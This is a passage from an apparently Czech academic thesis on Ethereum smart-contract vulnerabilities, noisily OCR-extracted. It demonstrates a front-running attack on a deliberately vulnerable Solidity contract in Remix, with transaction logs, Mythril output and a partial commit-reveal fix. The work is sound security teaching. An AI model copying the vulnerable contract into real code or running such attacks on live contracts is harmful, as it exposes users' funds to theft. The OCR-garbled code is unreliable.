iniciovaném z externiho prevodu. Nastroj jiz nedokaze najit konkrétni sekvenci volani, ktera
by vedla k GspéSnému odcerpani prostfedkli skrze reentrantni volani z fallback funkce po

prvnim odeslani Etheru.

Utinnost provedené mitigace byla ovéfena i praktickym testovanim v Remix IDE,
kde byla simulovana tto¢na transakce pomoci kontraktu Attacker. Vysledek testu potvrdil
spravnost implementace vzoru Checks-Effects-Interactions, transakce attack() byla
revertovana s chybovou hlaskou , Transfer failed”, coz znamena, Ze transakce nebyla
uspésné provedena. Tento vysledek jednoznacné dokazuje, ze reentrancy zranitelnost jiz
nelze zneuzit, protoZe stav kontraktu je aktualizovan dfive, nez dojde k externimu volani.

Podrobnosti o transakci jsou uvedeny v Tabulce 13.
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from: ©x5c6...21678
to: Attacker.attack() ©xd8b...33fa8

[vm] value: 1000000000000000000 wei
data: ©x9e5...faafc
logs: ©
hash: 0x00a...8c08f

status

0x0 Transaction mined but execution failed

transaction hash

0x00acd794daB2ab3leabca264632e5d4a%9aec5219a664233b853ed03c8708c08TF

block hash @x67c1354€06C89aee0571086958F959a44d0df78c8a98cF345198b4a2c1b56551
block number 9
from Ox5c6BOF7BF3E7ce@46039Bd8FABAfD3f9F5021678
to Attacker.attack()
0xd8b934580fCE35a11B58C6D73aDeE468a2833Fa8
gas 3000000 gas

transaction cost

65501 gas

execution cost 44437 gas

input ox9e5. . .faafc
0x08C3792000000000000000000000000000000V0VV0VVVCRVVVVRVVLBRVLO

output 00000020000000000000000000000000000000000000000000VVVVLVVVBRVO

0000015472616e73666572206661696C6564000000000000000000000000000000
0000

decoded input {}

decoded output {}

logs [

raw logs [

value 1000000000000000000 wei (1 ETH)

transact to Attacker.attack errored: Error occurred: revert.
} revert
poznamka The transaction has been reverted to the initial state.

Reason provided by the contract: "Transfer failed".
You may want to cautiously increase the gas limit if the
transaction went out of gas.

Tabulka 13: Transakce revertovana

( zdroj: viastni )
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6.3 Front-running utok

V této kapitole je analyzovana a demonstrovana zranitelnost smart kontrakti typu Front-
Running. Tento druh utoku vyuziva vlastnosti blockchainovych siti, kde vSechny transakce
pred svym zaiazenim do bloku ¢ekaji ve vefejné piistupném tzv. mempoolu. Utoénik m4 tak
moznost sledovat pending transakce a na zakladé vetejné dostupnych tidaji vytvofit vlastni
transakci, kterou odesle s vysSim poplatkem za gas price, aby byla tézafem upiednostnéna a

zafazena do bloku pied ptivodni transakci.

Vysledkem tspésného Front-running Gtoku mize byt neopravnéné ziskani aktiv nebo

privilegovaného postaveni v systému bez nutnosti vynalozeni ptfiméteného Usili ¢i investice.

6.3.1 Simulace a demonstrace zranitelnosti

Pro simulaci zranitelnosti typu Front-Running byl vytvofen jednoduchy smart kontrakt
FrontRunningDemo. Tento kontrakt slouzi jako demonstracni ptiklad mechanismu, kde
muze dojit k pfedbihani transakci na blockchainu. Kontrakt umoziuje uzivatelim ptispivat
Etherem do spolecného fondu (reward) voldnim funkce contribute(), pficemz jejich

ptispévky jsou evidovany v mapovani balances.

Nasledn¢ umoziuje libovolnému piispévateli tento cely fond vybrat volanim funkce
claimReward(). Zranitelnost Front-Running v tomto kontraktu spociva v implementaci
funkce claimReward(). Tato funkce vyplati celou aktudlni vysi fondu odmény (reward)
volajicimu, nastavi tohoto volajiciho jako vitéze (winner) a vynuluje fond odmény (reward
= 0). Logika neovétuje zadné dalsi podminky (napt. pomér ptispévku volajiciho) a ptiznava
celou odménu prvnimu, jehoZ transakce volajici claimReward() je zpracovana a zafazena do
bloku po naplnéni fondu, bez ohledu na to, kdo pfisp€l kolik. Informace o vysi fondu odmény

je vetejné viditelnd ve stavu kontraktu.

Pouzity kéd pro simulaci zranitelnosti Front-Running

// SPDX-License-Identifier: MIT

pragma solidity "0.8.29;

/**

* @title FrontRunningDemo

* @dev Demonstracni kontrakt zranitelny vic¢i Front-Runningu.

* Kdokoli, kdo prispél, mdze vybrat celou odménu, prvni vyhrava.
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*/
contract FrontRunningDemo {
address public winner;
uint public reward; // Celkovy fond odmény
mapping(address => uint) public balances; // Zistatky jednotlivych prispévatell
/%%
* @dev UmozZnuje prispét Etherem do fondu odmény.
* @param msg.value Mnozstvi Etheru k prispéni (musi byt > 0).
*/
function contribute() external payable {
require(msg.value > @, "Must send ETH");
balances[msg.sender] += msg.value; // Zaznamend prispévek uzivatele

reward += msg.value; // Prida hodnotu k celkové odméné

/**
* @dev Umoznuje prispévateli vybrat celou odménu.
* Tato funkce je zranitelnd vGc¢i Front-Runningu - prvni volajici ziskd vse.
*/
function claimReward() external {
// Kontrola, Ze volajici prispél (stac¢i jakakoli ¢&astka > 0).

require(balances[msg.sender] > @, "You did not contribute");

// Ziskani aktualni vySe odmény.
uint amount = reward;

// Vynulovani odmény PRED odesldnim - ¢asteéna aplikace "Effects" pro

zamezeni Reentrancy,

// ale nestac¢i k zamezeni Front-Runningu, protoze informace o 'amount' je

jiz verejna.
reward = 0;
// Nastaveni volajiciho jako vitéze.

winner = msg.sender;
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// Odeslani celé odmény volajicimu. Pouziti “call® je zde pro

jednoduchost,

// riziko Reentrancy je minimalizovano nulovanim "~ reward™ pred voldnim

(ne vSak zamezeno u “balances”™ mapovani - to vSak pro Front-Running utok neni

klicové).
(bool success, ) = msg.sender.call{value: amount}("");
// Kontrola uUspésnosti prevodu.
require(success, "Transfer failed");
// Poznamka: Logika by méla idealné distribuovat odménu proporciondlné
// nebo pouzit vzor odolny proti Front-Runningu pro spravedlivé ziskani
odmény.

// Mohly by zde byt dal3i pomocné funkce, napr. pro zjisténi zlstatku
kontraktu.

}

Ukézka kodi 11: Zranitelny kontrakt vii¢i Front-Running Gtoku

( zdroj: viastni )

Prostfedi simulace bylo Remix IDE s vyuZitim vestavéného JavaScript VM. Tento nastroj
umoziiuje snadné nasazeni kontraktli a poskytuje detailni zdznamy transakci, které jsou
nezbytné pro demonstraci. Kli¢ovym prvkem simulace Front-Runningu je vSak moZnost
ovlivnit potadi transakci, coz bylo v tomto pfipadé simulovano manudlnim nastavenim
vysSiho poplatku za gas u transakce tito¢nika nebo spusténim uto¢né transakce bezprostredné

po odeslani transakce obéti, ale pfed jejim zahrnutim do bloku.
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Pouzité prostiedky pro simulaci zranitelnosti Front-Running:

e Simulace provedena v Remix IDE (JavaScript VM).

e Pouzita verze jazyka Solidity: ~0.8.29.

e Virtudlni blockchain prostfedi: konfigurace Cancun.

e Adresa nasazené¢ho kontraktu FrontRunningDemo:

0x6431fD0C29d024c5b04C7dAB157FcCD329E62ESS.

e Testovaci ucty: 0x4B0897b0513fdC7C541B6d9D7E929C4e5364D2dB (ucet
1), 0x583031D1113aD414F02576BD6afaBfb302140225 (tcet 2).

Prvnim krokem simulace bylo provedeno nasazeni kontraktu FrontRunningDemo do

prostfedi Remix IDE. Detail transakce nasazeni je patrny ze zdznamu v Tabulce 14.

from: 0x147...C160C
to: FrontRunningDemo. (constructor)

[vm] value: 0 wei
data: ©x608...20033
logs: ©
hash: 0xf5a...af@9%a
status

0x1 Transaction mined and execution succeed

transaction hash

0xf5a2117190860895ff00862f0f5c4dc8d98211a237ela3tb8e88b182045af09a

block hash

0x7d2854dc448da60d5e85fat4e58fda®8c3142cadlb65bf790a2439887399afdb

block number

23

contract address

0x6431fDOC29d024c5b04C7dAB157FcCD329E62E55

from 0x14723A09ACTT6D2A60DCcdF7aA4AF+308FDDC160C

to FrontRunningDemo. (constructor)

gas 465339 gas

transaction cost 404642 gas

execution cost 327166 gas

input OX608. . .a0033
0Xx608060405260043610610049575+F3560e01c8063228cb7331461004d57806327
€235e314610077578063b88a8021146100b3578063d7bb99bal46100c9578063df
bf53ae146100d3575b5f80fd5b348015610058575F80fd5b506100616100fd565b
60405161006€9190610379565b60405180910390135b348015610082575F80fd5b

output 5061009d60048036038101906100989190610310565b610103565b6040516100aa

9190610379565b60405180910390135b3480156100be575180fd5b506100c76101
18565b005b6100d1610281565b005b3480156100de575F801fd5b506100e761033e
565b604051610014919061042a565b60405180910390135b60015481565b600260
20528051526040512051915090505481565b5F60025F3373ffFfffffffffffffff
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1673 fffffffffrffrrrrrrrrrrefrrfrffffffffffee
16815260200190815260200151205411610197576040517f08c3792a00000000000
0000000000000000000000000000000000000000000000815260040161018e€9061
049d565b604051809103901d5b5f600154905051600181905550335F806101000a
81548173 fffffffffffffffrffffrfffffffffffffffffff021916908373ffffff
P ffffffffff1602179055505F3373Ffffffffffffff
FHFFffFfrrrrrfrrrrrrffffffff1682604051610208906104e8565b5f6040518083
0©38185875a11925050503d8051811461024257604051915060111960313d011682 73 fffffffffffrfffffff
fFffffffff1681565b5f819050919050565b61037381610361565b82525050565b
5160208201905061038c5183018461036a565b92915050565b5F80Fd5b5f73ffff
frfrfffrrrfffrffffrffffrfffffrfffff£82169050919050565b5f6103bf8261
0396565b9050919050565b6103cf816103b5565b81146103d9575F80fd5b50565b
5f813590506103ea816103c6565b92915050565b51602082840312156104055761
0404610392565b5b51610412848285016103dc565b91505092915050565b610424
816103b5565b82525050565b5160208201905061043d5f83018461041b565b9291
5050565b5182825260208201905092915050565b7159617520646964206e617420
63616e74726962757465000000000000000000005182015250565b516104876016
83610443565b915061049282610453565b602082019050919050565b5160208201
9050818103518301526104b48161047b565b9050919050565b5181905092915050
565b50565b516104d35f836104bb565b91506104de826104c5565b5+8201905091
9050565b51610412826104c8565b9150819050919050565b715472616e€73666572
206661696c656400000000000000000000000000000000005182015250565b5F61
0530600183610443565b915061053b826104fc565b602082019050919050565b5F
60208201905081810351¥83015261055d81610524565b9050919050565b7f4d7573
742073656e€64204554480000000000000000000000000000000000000051820152
50565b51610598600d83610443565b91506105a382610564565b60208201905091
9050565b516020820190508181035¥8301526105c58161058c565b905091905056
5b7+4e487b71000000000000000000000000000000000000000000000000000000
005152601160045260245FFd5b5+61060382610361565b915061060e8361036156
5b9250828201905080821115610626576106256105cc565b5b9291505056fea264
6970667358221220208247f5adfcb9aab6788ceaa74dde0ed60df2684455eeab9a
a9c72f6d5ed1e06473616c63430008120033

decoded input 3
decoded output {3}
logs [
raw logs [

Tabulka 14: Detail transakce nasazeni kontraktu FrontRunningDemo

( zdroj: viastni )

Obrazek (Obrazek 22) vizualn€ potvrzuje vychozi stav kontraktu ihned po jeho nasazeni
pred jakymikoli interakcemi. Nasledn€ bylo piistoupeno k "naplnéni" fondu odmény, aby
vznikla motivace k provedeni Front-Running Gtoku — prazdny fond by nebylo atraktivni
"vykrast". Byly provedeny dva ptispévky z riiznych testovacich u¢ti v Remix IDE, které

mély za cil vytvofit dostatecnou odménu pro potencidlniho Gto¢nika.
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Nejprve ucet 1 (reprezentujici "Obét™) prispél ¢astkou 10 ETH volanim funkce contribute().

Tato transakce byla odesldna a zahrnuta do bloku. Detail této transakce je zaznamenan v

Tabulce 15.

Obrazek 22: Pocate¢ni stav nasazeného kontraktu FrontRunningDemo

(zdroj: vlastni )

from: ©x4B0O...4D2Db
to: FrontRunningDemo.contribute() ©x643...62E55

[vm] value: 10000000000000000000 wei (10 ETH)
data: Oxd7b...b99ba
logs: ©
hash: ox1b1l...5c2fa

status

Ox1 Transaction mined and execution succeed

transaction hash

0x1b1d@eel1043bce23a30e6b19b774d5200b97ae199a20f9effedlceb6df8f5c2fa

block hash

0x860fe9c1ddd2f5fc8d42c93cf42fedblfcd30el1191c4c851fel7819bf6al34ct

block number

24

from 0x4B0897b0513fdC7C541B6d9D7E929C4e5364D2dB

to FrontRunningDemo.contribute()
0x64311DOC29d024c5b04C7dAB157FcCD329E62E55

gas 75849 gas

transaction cost 65955 gas

execution cost 44891 gas

input

oxd7b...b99ba
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output oOx
decoded input {3
decoded output {}
logs [1
raw logs [
value

10000000000000000000 wei (10 ETH)

Tabulka 15: Detail transakce piispévku 10 ETH (Uget 1 - Obét)

( zdroj: vlastni )

Tabulka 15 doklada uspésné provedeni transakce, kterd byla zatazena v bloku 24 a zvysila

celkovou hodnotu odmény v kontraktu o 10 ETH a zaznamenala ptispévek ucétu 1. Nésledné

et 2 (reprezentujici "Utoénika") piispél ¢astkou 1 ETH volanim funkce contribute().

Tabulka 16 ukazuje dalsi Gspésny ptispévek, ktery byl zatfazen v bloku 25 a zvysil

celkovou odménu o dalsi 1 ETH a zaznamenal pfispévek uctu 2. Po téchto piispévcich Cinila

celkovd odména (reward) v kontraktu FrontRunningDemo 11 ETH (10 ETH + 1 ETH).

Zustatky prispévateld byly fadné¢ zaznamenany v mapovani balances. Stav kontraktu po

provedeni obou pfispévkl, demonstrujici nashromazdénou odménu ve vysi 11 ETH, je

zachycen na obrazku (Obrazek 23).

from: ©x583...40225
to: FrontRunningDemo.contribute() ©x643...62E55

[vm] value: 1000000000000000000 wei (1 Eth)
data: @xd7b...b99ba
logs: ©
hash: 0xd97...d91d7

status

0x1 Transaction mined and execution succeed

transaction hash

oxd97aecfdf4c7bccd76c7a@bb6b67e6e2eabc503140738a499778eeef8d5ad91d7

block hash Oxff95b11048716c7e2f551deab53e1700d5a9d5687699cb7b2fed42227b577534
block number 25
from 0x583031D1113aD414F02576BD6afaBfb302140225
to FrontRunningDemo.contribute()
0x6431fDOC29d024c5b04C7dAB157F cCD329E62E55
gas 56184 gas

transaction cost

48855 gas
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execution cost

27791 gas

input oxd7b...b99%ba
output ox

decoded input {}

decoded output {}

logs [

raw logs []

value

1000000000000000000 wei (1 ETH)

Tabulka 16: Detail transakce ptispévku 1 ETH (Uget 2 - Utoénik)

( zdroj: viastni )

Obrazek 23: Stav kontraktu po ptispévcich (Celkova odména 11 ETH)

( zdroj: viastni )

Nyni nastava klicovy scénat, kde mize dojit k Front-Runningu. Pfedpokladejme, Ze ticet 1

(Obét’) ma v umyslu vybrat celou odménu a odesle transakci volajici funkci claimReward()

se standardnim poplatkem za gas. Tato transakce vstoupi do mempoolu, kde ¢eka na zatazeni

do bloku. V tomto okamziku je jeji obsah vefejné viditelny. V tomto moment¢ vstupuje do

hry "Uto¢nik" (reprezentovany uctem 2). Uto¢nik monitoruje mempool a zaznamena

cekajici transakei od tctu 1 volajici claimReward(). Uto¢nik vi, ze tato funkce ptiznava celou
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odménu prvnimu volajicimu a ze aktualni vySe odmény (reward), kterou si mize ovétit
pohledem na stav kontraktu, je 11 ETH. Utoénik rychle vytvoii svou vlastni transakci
volajici rovnéz funkci claimReward() ze svého uctu 2. Aby zajistil, Ze jeho transakce bude
zpracovana pred transakci uctu 1, uto¢nik nastavi poplatek za gas pro svou transakci vyrazné

vyse nez byl poplatek u transakce uctu 1.

V simulovaném prostiedi bylo dosazeno toho, ze Gto¢nikova transakce (od uctu 2),
diky ptedstavé vyssiho poplatku za gas, je zahrnuta do bloku dfive nez transakce uctu 1,
ackoli transakce uctu 1 mohla byt odeslana dfive. Toto simuluje Uspésné piedbéhnuti

transakce diky vys$simu poplatku za gas, ktery motivuje tézare k pfednostnimu zpracovani.

V tabulce (Tabulka 17) je Gspésné provedeni transakce. V ramci této transakce byla
spusténa funkce claimReward() Gctem 2. Kontrakt ovéfil, Ze Gcet 2 ptispél (coz je pravda,
ptispél 1 ETH). Proménna amount byla nastavena na aktualni vysi odmény (11 ETH), reward
bylo vynulovano na 0, winner byl nastaven na adresu uctu 2 a celych 11 ETH bylo odesldno

na ucet 2. Timto byl fond odmény vycerpan uto¢nikem.

from: ©x583...40225

to: FrontRunningDemo.claimReward() ©x643...62E55
[vm] value: 0 wei

data: 0xb88...a802f

logs: ©

hash: 0x78c...d9dc9

status

0x1 Transaction mined and execution succeed

transaction hash

0x78c905e55ceaddedb381d9a817042b61fc8bbe65006FF956822dcdd863fd9dc9

block hash Pxa358de90d860ebd7490ab3c27d2930392Fd22a990bc7ce5ac4c9e7eded754261
block number 26
from 0x583031D1113aD414F02576BD6afaBfb302140225
to FrontRunningDemo.claimReward()
0x6431DOC29d024c5b04C7dAB157F cCD329E62E55
gas 6000000 gas

transaction cost

52931 gas
execution cost 36667 gas
input oxb88. ..a802f
output 0x

decoded input

{}
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decoded output {}
logs []
raw logs []
Tabulka 17: Detail transakce Front-Running ttoku (Uget 2 - Utoénik)
( zdroj: viastni )
from: ©x4BO...4D2dB
to: FrontRunningDemo.claimReward() ©x643...62E55
[vm] value: 0 wei
data: 0Oxb88...a802f
logs: ©
hash: 0x181...343d6
status ox1 Transaction mined and execution succeed

transaction hash

0x181003b7c7bed7fbec86e0cb7d1416aafd68efc46c4641f7f5e0e77c0b1343d6

block hash 0x569aa01de498d7aa2572020632d988536d31f76dd7937036a306€9209aae3024
block number 27
from 0x4B0897b0513fdC7C541B6d9D7E929C4e5364D2dB
to FrontRunningDemo.claimReward()
0x6431fDOC29d024c5b04C7dAB157F cCD329E62E55
gas 35801 gas
transaction cost 31131 gas
execution cost 10067 gas

input oxb88. . .a802f
output [2)¢
decoded input {}
decoded output {}
logs [
raw logs [1

Tabulka 18: Detail nasledné transakce vybéru odmény (Ucet 1 - Obér)

( zdroj: viastni )

Nasledné (v tomto ptipadé¢ v bloku 27) je provedena pivodni transakce uctu 1 (Obét) volajici

rovnéz claimReward(). Detail této transakce je zaznamenan v tabulce (Tabulka 18). V ramci
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této transakce je spusSténa funkce claimReward() uctem 1. Kontrakt ovéfi, ze ucet 1 prispél
(coz je pravda, prispél 10 ETH). Proménna amount je nastavena na aktudlni vysi odmény
(reward), ktera vSak jiz byla v piedchozi transakci uctu 2 vynulovana na 0. reward zlstava
0, winner je pfepsan na adresu uctu 1 a je provedeno volani msg.sender.call s hodnotou
amount, ktera je 0. Ucet 1 tedy neobdrzi zadny Ether, piestoze transakce prob&hla tsp&sné

(funkce nedetektovala selhani na require podmince).

Stav kontraktu po obou téchto transakcich ukazuje, ze fond odmény (reward) je 0.
Vitézem (winner) je vSak adresa uctu 1, protoze jeho transakce byla zpracovana jako
posledni a prepsala hodnotu stavové proménné winner, i kdyZz neziskala zadny Ether. Detail
volani funkce winner() k ovéfeni kone¢ného vitéze je v tabulce (Tabulka 19) a vizualni

potvrzeni kone¢né hodnoty winner je na obrazku (Obrazek 24).

from: ©x4B0897b0513+dC7C541B6d9D7E929C4e5364D2dB
[call] to: FrontRunningDemo.winner()
data: Oxdfb...f53ae
from 0x4B0897b0513+dC7C541B6d9D7E929C4e5364D2dB
to FrontRunningDemo.winner()
0x6431fD0C29d024c5b04C7dAB157FcCD329E62E55
execution cost 2571 gas (Cost only applies when called by a contract)
input oxdfb. . .f53ae
output 0Xx0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2db
decoded input {3
decoded output {"0": "address: ©x4B@897b0513fdC7C541B6d9D7E929C4e5364D2dB"}
logs [
raw logs [

Tabulka 19: Detail volani funkce winner() po utoku

( zdroj: viastni )

Obrazek (Obrazek 24) jasné€ ukazuje, Ze po provedeni obou transakci funkce claimReward()
je stavova proménnd reward nastavena na 0 a proménna winner obsahuje adresu uctu 1. Toto
je v souladu s provedenymi transakcemi v blocich 26 a 27, kde transakce Uctu 1 byla

zpracovana jako posledni a pfepsala hodnotu winner, ackoliv fond jiZ byl vyCerpan Gétem 2.
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Obrazek 24: Konec¢ny stav kontraktu po utoku (adresa vitéze a nulovd odména)

( zdroj: viastni )

Zavér k simulaci zranitelnosti

Simulace s kontraktem FrontRunningDemo jasné¢ demonstrovala zranitelnost typu Front-
Running. Bylo ukdzano, ze v situaci, kdy funkce kontraktu (claimReward()) umoziuje
prvnim volajicimu ziskat celou hodnotu fondu a informace o potencialné vysoké hodnoté
fondu je vefejné viditelnd ve stavu kontraktu a v mempoolu, mize uto¢nik sledovat
mempool, identifikovat transakci cilici na tuto funkci (napf. s o¢ekavanim vysoké odmeény)
a odeslat svou vlastni transakci se zvySenym poplatkem za gas, aby zajistil jeji prioritni
zpracovani t&zafem. Utoénikova transakce byla provedena diive (v bloku 26), vy&erpala
fond (11 ETH bylo odeslano na ucet 2) a zanechala plivodni transakci obé&ti (actu 1) bez
moznosti ziskat odménu (ta probehla az v bloku 27 s amount = 0). Tento vysledek potvrzuje
zranitelnost a podtrhuje rizika spojena s odhalovanim casové nebo finan¢né citlivych

informaci v transakcich bez adekvatnich mitiga¢nich opatieni.

6.3.2 Analyza zranitelnosti pfed mitigaci

Po demonstraci front-running uUtoku na kontrakt FrontRunningDemo v pifedchozi
podkapitole byla provedena analyza jeho zdrojového kdédu pomoci néstroje pro statickou

analyzu Mythril. Cilem této analyzy bylo zjistit, jaké bezpecnostni problémy nastroj v daném
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kontraktu identifikuje a do jaké miry jeho vystup odpovida diive prokazané zranitelnosti
typu front-running. Pro ucely analyzy byl pouzit zdrojovy kod (Ukéazka kodu 11). Po

spusténi analyzy nastrojem Mythril byl obdrZen nasledujici vystup.

Vystup z Mythril

- contracts myth analyze FrontRunningDemo.sol
==== External Call To User-Supplied Address ====
SWC ID: 107

Severity: Low

Contract: FrontRunningDemo

Function name: claimReward()

PC address: 549

Estimated Gas Usage: 13826 - 88910

A call to a user-supplied address is executed.

An external message call to an address specified by the caller is executed. Note that
the callee account might contain arbitrary code and could re-enter any function within
this contract. Reentering the contract in an intermediate state may lead to unexpected
behaviour. Make sure that no state modifications are executed after this call and/or

reentrancy guards are in place.

In file: FrontRunningDemo.sol:30

msg.sender.call{value: amount}("")

Initial State:

Account: [CREATOR], balance: ©x0, nonce:0, storage:{}

Account: [ATTACKER], balance: 0x10, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], calldata: , decoded data: , value: 0x0

Caller: [ATTACKER], function: contribute(), txdata: @xd7bb99ba, value: ©x1
Caller: [ATTACKER], function: claimReward(), txdata: ©xb88a802f, value: ©x0
==== Transaction Order Dependence ====

SWC ID: 114

Severity: Medium
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Contract: FrontRunningDemo

Function name: claimReward()

PC address: 549

Estimated Gas Usage: 13826 - 88910

The value of the call is dependent on balance or storage write

This can lead to race conditions. An attacker may be able to run a transaction after

our transaction which can change the value of the call

In file: FrontRunningDemo.sol:30

msg.sender.call{value: amount}("")

Initial State:

Account: [CREATOR], balance: 0x0, nonce:9, storage:{}

Account: [ATTACKER], balance: 0x40000080000004001, nonce:0, storage:{}
Transaction Sequence:

Caller: [CREATOR], calldata: , decoded data: , value: 0x0

Caller: [ATTACKER], function: contribute(), txdata: @xd7bb99ba, value: ©x1

Caller: [ATTACKER], function: claimReward(), txdata: ©xb88a802f, value: ©x0

Z analyzy kontraktu FrontRunningDemo néstrojem Mythril byly identifikovany dva typy
varovani: "External Call To User-Supplied Address" (SWC ID 107) s nizkou zavaznosti a
"Transaction Order Dependence" (SWC ID 114) se stfedni zavaznosti. Oba néalezy odkazuji
na fadek 30 v souboru FrontRunningDemo.sol, kde dochdzi k externimu volani

msg.sender.call {value: amount}("").

Nalez "External Call To User-Supplied Address" (SWC ID 107) je obecné varovani,
které Mythril hlasi vzdy, kdyz je pouzita nizkotroviiova funkce pro externi volani (call,
delegatecall, staticcall) na adresu, kterd je odvozena z uzivatelského vstupu (zde
msg.sender). Toto varovani upozoriiuje na skutecnost, ze dochazi k ptenosu kontroly na
externi kod, ktery mize byt Skodlivy a miize se pokusit o re-entry. Ackoliv v tomto
konkrétnim ptipad¢€ byla provedena mitigace Reentrancy vynulovanim reward pied volanim,

Mythril stale signalizuje samotnou moznost pfenosu kontroly jako potencialni riziko, 1 kdyz
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nedokaze v tomto kontextu najit cestu ke zneuziti klasické Reentrancy vedouci k

opakovanému od¢erpani fondu reward (protoze ten je jiz 0).

Druhy nalez, "Transaction Order Dependence" (SWC ID 114), je pro kontext Front-
Runningu relevantnégjsi. Toto varovani upozoriiuje na to, ze vysledek transakce (zde hodnota
amount, ktera je rovna reward v okamziku ¢teni) zavisi na stavové proménné (reward), ktera
muze byt zménéna jinou transakci. Mythril spravné identifikuje bod, kde je ¢tena hodnota
reward (uint amount = reward;) a ndsledné pouzita v externim volani, a upozoriuje na riziko,
ze jina transakce by mohla zménit hodnotu reward mezi okamzikem, kdy obét’ odesle svou
transakci (s o¢ekavanim urcité vyse odmeény) a okamzikem, kdy je jeji transakce skutecné
provedena na blockchainu. Toto je pfesné mechanismus, ktery je zneuzit pii Front-

Runningu.

6.3.3 Implementace bezpecnostniho opatreni (Mitigace)

Po demonstraci zranitelnosti Front-Running v kontraktu FrontRunningDemo, ktera ukézala,
jak lze zneuzit transparentnosti mempoolu a prioritizace transakci podle poplatku za gas k
pfedbéhnuti transakce cilici na funkei claimReward(), bylo pfistoupeno k implementaci

mitigaéniho opatieni.

Primarni a €asto doporucovanou mitigacni technikou pro zranitelnosti Front-Running je
aplikace tzv. vzoru Commit-Reveal (Zavazek — Odhaleni). Tento vzor spociva v rozdéleni

akce, kterd zahrnuje citlivou informaci, do dvou oddé€lenych fazi:

o Faze Commit (Zavazek): V této fazi uzivatelé odeslou transakci, kterd obsahuje
pouze kryptograficky "zavazek" k né&jaké citlivé hodnoté (napft. hash své nabidky v
aukci, hash tajného cisla, nebo v naSem ptipad¢ hash tajného kodu slouziciho k
identifikaci pro narok na odménu). Tento zavazek (hash) neodhaluje samotnou
citlivou hodnotu, takze uto¢nik nemtize z mempoolu zjistit, co uzivatel zamysli.
Transakci v této fazi lze sice front-runnout (Uto¢nik mtize také odeslat sviij zavazek
s vys§im gasem), ale neziska tim informaci, kterou by mohl zneuzit k pfedb&hnuti

specifické akce zaloZené na této hodnoté.

e Faze Reveal (Odhaleni): Po skonCeni faze "Commit" (Casto Casové omezené)
nasleduje faze "Reveal". V této fazi uzivatelé odeSlou druhou transakci, ktera
obsahuje skute¢nou citlivou hodnotu (nabidku, tajné Cislo, kod) a "stal" (ndhodné
Cislo pouzité pfi haSovani). Kontrakt ovefi, zda hash poskytnuté hodnoty a soli

odpovida diive ulozenému zavazku z faze "Commit". Pokud souhlasi, kontrakt
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zpracuje skuteCnou hodnotu (napf. zaznamena nabidku, urci vitéze, provede
vyplatu). Transakce v této fazi mohou byt také front-runnuty. Utoénik uvidi
odhalovanou hodnotu v mempoolu. Nicméné, i kdyby okamzité odeslal vlastni
transakci s touto hodnotou a vy$Sim gasem, musel by mit jiz v ptfedchozi fazi
"Commit" podany zdvazek (commit) k této konkrétni hodnoté. Pokud zdvazek nema

nebo neodpovida, jeho pokus o front-running v této fazi selze.

Vzor Commit-Reveal ptfevadi zranitelnost z odhaleni hodnoty na odhaleni zavazku k

hodnot¢, coz znesnadiiuje nebo znemoznuje zneuziti této hodnoty pred jejim fadnym

zpracovanim.

Pro mitigaci zranitelnosti Front-Running v kontraktu FrontRunningDemo bylo

rozhodnuto aplikovat modifikovany princip Commit-Reveal na proces vybéru odmény.

Misto ptimého volani claimReward(), které bylo zranitelné, byl zaveden dvoufazovy proces

pro ureni vitéze, ktery bude mit narok na celkovou odménu. Nize je uveden kod

modifikovaného kontraktu, nazvaného FrontRunningCommitReveal, ktery implementuje

tento vzor pro vybeér vitéze.

FrontRunningCommitReveal

// SPDX-License-Identifier: MIT

pragma solidity "0.8.29;

/**

* @title FrontRunningCommitReveal

* @dev Zabezpecena verze demonstracniho kontraktu proti Front-Runningu

* pouzitim vzoru Commit-Reveal pro urceni vitéze odmény.

* Vitéze urci prvni platné odhaleni tajného kédu po fazi zavazku.

*/

contract FrontRunningCommitReveal {

address public owner; // Vlastnik kontraktu pro rizeni fazi

address public winner = address(@); // Adresa vitéze, ktery mlize vybrat odménu
uint public reward; // Celkovy fond odmény

mapping(address => uint) public balances; // Zdstatky jednotlivych prispévateld

mapping(address => bytes32) private claimCommitments; // Uklada hashe zavazkd k

vybéru
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mapping(address => bool) public hasRevealedClaim; // Sleduje, zda adresa jiz

odhalila svij kéd
bool public commitPhaseActive = true; // Flag pro aktivni fazi zavazku

bool public revealPhaseActive = false; // Flag pro aktivni fazi odhaleni

// Udalosti pro lepSi sledovdni fazi a akci

event Committed(address indexed user, bytes32 commitment);

event Revealed(address indexed user, bytes32 secret);

event WinnerSelected(address indexed winnerAddress, uint rewardAmount);

event RewardDistributed(address indexed to, uint amount);

modifier onlyOwner() {

require(msg.sender == owner, "Only owner can call this function");

modifier duringCommitPhase() {

require(commitPhaseActive, "Commit phase is not active");

modifier duringRevealPhase() {

require(revealPhaseActive, "Reveal phase is not active");

modifier afterRevealPhase() {

require(!revealPhaseActive && !commitPhaseActive, "Reveal phase is still

active");
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constructor() {
owner = msg.sender;

// Faze mohou byt rizeny casem, zde jsou zjednoduSeny na volani

vlastnikem.
// commitPhaseEndTime = block.timestamp + 1 days;
// revealPhaseEndTime = commitPhaseEndTime + 1 days;
}
/**

* @dev Umoznuje prispét Etherem do fondu odmény.
*/
function contribute() external payable {
require(msg.value > @, "Must send ETH");
balances[msg.sender] += msg.value;
reward += msg.value;
}
/**
* @dev Umoznuje uzivateli zavazat se k tajnému kédu pro narok na odménu.
* Zabranuje Front-Runningu v této fazi, protoze je posilan pouze hash.

* @param _secretHash Hash tajného kédu a soli

(keccak256(abi.encodePacked(secret, salt))).

*/

function commitClaimHash(bytes32 _secretHash) external duringCommitPhase {
// Uzivatel musi prispét, aby se mohl zavazat k naroku.
require(balances[msg.sender] > @, "You must contribute to commit");
// Uzivatel se mlze zavazat pouze jednou.
require(claimCommitments[msg.sender] == bytes32(0), "Already committed");
claimCommitments[msg.sender] = _secretHash;
emit Committed(msg.sender, _secretHash);

}

/**

* @dev Umoznuje uzivateli odhalit sv(j tajny kod a sul.
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* Kontrakt ovéri hash a prvni platné odhaleni urci vitéze.

* Tato faze mdze byt front-runnuta, ale Utocnik potrebuje znat kéd A mit platny

commit.
* @param _secret Tajny kéd odhalovany uzivatelem.
* @param _salt SGl1 pouzita pri hasovani kédu v commit fazi.
*/

function revealClaimSecret(bytes32 _secret, bytes32 _salt) external

duringRevealPhase {
// UZzivatel musi mit platny zavazek.
bytes32 expectedHash = keccak256(abi.encodePacked(_secret, _salt));

require(claimCommitments[msg.sender] == expectedHash, "Invalid reveal: Hash

mismatch");
